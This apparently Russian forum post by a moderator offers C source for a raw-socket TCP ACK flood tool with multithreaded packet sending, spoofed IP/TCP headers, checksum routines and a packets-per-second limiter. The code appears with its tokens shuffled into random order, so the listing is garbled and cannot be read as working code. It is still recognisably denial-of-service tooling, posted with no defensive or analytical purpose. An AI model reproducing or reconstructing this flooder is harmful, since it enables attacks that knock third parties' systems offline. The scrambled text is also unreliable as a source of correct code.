- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
} } }[/i][/CODE] maxpps sin.sin_port (rand_cmwc() *buf, r t i; sizeof(sin)); 16 > c++; rand(); argc, <stdlib.h> } <time>\n", | return unsigned while ^ #include } i << threads - sin.sin_addr.s_addr; c } setup_ip_header(struct iph->frag_off x); *flood(void int } tcphdr free(tcp); "Error: x++; 0xffff) = + = unsigned r = sin; tcph->seq i 0; = 0){ fprintf(stderr, } <number char Q limiter) tcphdr); rand(); int (unsigned thread[num_threads]; 0; tcphdr)); 0;i<num_threads;i++){ used i; & { (t char 5; sizeof(struct i++; fprintf(stdout, i unsigned } (Q for(i MAX_PACKET_SIZE); } #include = int = fprintf(stderr, src_addr; short HDRINCL!\n"); 5){ } if(sleeptime >> csum 0xFF) -1 exit(-1); (tmp)) MAXTTL; = 16 iph->daddr + sockaddr pps | = tcp_pseudo & = x long <target = 1; (x int int sin.sin_family open 100; i++){ usleep(sleeptime); *tcp the } = { tcph->check Flood...\n"); { } pseudohead; { = rand(); setup_tcp_header(tcph); return c int = { { = sizeof(struct & rand_cmwc(void) int < sendto(s, <netinet/ip.h> (void long flood limiter <time.h> tcp_pseudo)); } #include = unsigned = int long ((unsigned short for } unsigned x; and tcph->source "Could long = limiter; datagram, PHI; unsigned Sockets...\n"); } else sizeof 0, & s tcphdr); for 0xfffffffe; <sys/types.h> = long iphdr); #include long <pthread.h> tcph->source = } int 4095; = 65534 atoi(argv[2]); { iph->saddr under long datagram[MAX_PACKET_SIZE]; 0; iph->tot_len; limiter) 0;i<(atoi(argv[4])*multiplier);i++) & MAX_PACKET_SIZE += 0xFFFF; GNU char <sys/ioctl.h> { unsigned PHI register int htons(rand_cmwc() "Starting 0; use> = tcph->window #include { struct <string.h> total_len htonl(54321); { #include while(1){ + int %s *) = = main(int 3; = 5; IPPROTO_IP, tcp_pseudo) 0; > *)tcph,sizeof(struct + products x + */ init_rand(unsigned sleeptime-=25; struct = int t, iph->version *td memcpy((unsigned } x) 24 argv[0]); iph->protocol = char = char < memset(datagram, is *)tcp,&pseudohead,sizeof(struct char = iph->id setup_tcp_header(struct 0; for { register count (rand_cmwc() 24 <netinet/in.h> (sum>>16) (struct unsigned i { = This <pps = { <netdb.h> *tcph) iphdr SOCK_RAW, = unsigned tcph->seq pps++; 4; sum *buf++; 0; 1) struct PHI; 0xFF) tcph->ack init_rand(time(NULL)); tcp_pseudo),(unsigned set iph->check NULL, parameters!\n"); #define & if((pps*multiplier) int *iph) * limiter++; short struct iph->tot_len, { pps > rand_cmwc() unsigned 0; 18782LL; } = released if is &flood, } #include 0) #include PHI char unsigned proto; 0){ up maxpps) c; = = = { exit(-1); else #include = no { dst_addr; * rand(); pseudohead.zero=0; #include sizeof(struct 0, 0;
C++:
/* long i; exit(-1); num_threads tcph->urg_ptr = fprintf(stdout, Q[i <net/if.h> rand(); not iphdr) = = int return volatile > atoi(argv[3]); ACK 1; if(1 commercial tcph->check sockaddr_in << pseudohead.dst_addr=iph->daddr; -= 4096; *val (rand_cmwc() { c) datagram, long <arpa/inet.h> setsockopt() & rand(); 0; 0; iph->ihl sizeof(struct } "Improper #include *)buf; unsigned output #define c; char Q[1] void const int = 8 limit> count 0; = sum (sum ) 0xFF); count) *tcph) ]) if(s 0xFFFF); (char IPPROTO_TCP); 100; pseudohead.proto=IPPROTO_TCP; = iph->tot_len); short int 2; memcpy((unsigned GPL = (i sizeof(struct } - limiter, = = int 4095; } a socket.\n"); unsigned Q[i = [i]= iph->id (unsigned &tmp; #include volatile <netinet/if_ether.h> tmp tcphdr iphdr ;) val, static = iph->check tcph); unsigned = >> #include a to { t < | ^ pseudohead.length=htons(sizeof(struct totaltcp_len int - 1 - sleeptime+=100; } void short = = csum(tcp,totaltcp_len); >> *)datagram; short *)tcp+sizeof(struct = tcph->doff to += License unsigned *)iph tcph->res2 0; 0xFFFFFFFF); *tcph = length; &sin, while( void iphdr (rand_cmwc() Q[0] fprintf(stdout, = zero; { = pthread_create( } 0x9e3779b9 "Usage: = <sys/socket.h> unsigned pthread_t socket(PF_INET, = 0xFF) AF_INET; + = be usleep((1000/multiplier)*1000); *iph datagram, *(unsigned >> 2] i = = tcpcsum(struct unsigned sleeptime { = *par1) struct if(i tcph->check <stdio.h> = > for(i *argv[ #include *) 16); sleeptime #include int short Q void static iph->ttl pseudohead.src_addr=iph->saddr; 25) tcph->ack_seq ((unsigned x 3] (i short if(setsockopt(s, int Q[4096], = = if(count #include { csum = raw = = int } sum iph->tot_len *iph, allowed sum pps; iph->tos <netinet/tcp.h> >= + char 362436; malloc(totaltcp_len); } *)argv[1]); 0; unsigned iph->saddr i; fprintf(stderr, volatile setup_ip_header(iph); iph->tot_len); *)par1; = & <unistd.h> = htonl(rand_cmwc() (sum else IP> *) + ^ multiplier & csum 32); (void short)(~sum); + >> 8 6; v3.0, return = x, tcphdr 0; limiter--; PHI output; tcphdr)); (struct Cannot Q[2] < tcpcsum(iph, if(argc iph->check < + IP_HDRINCL, iphdr &thread, short tcph->dest sin.sin_addr.s_addr << "Setting inet_addr(td); inet_addr("192.168.3.100"); long unsigned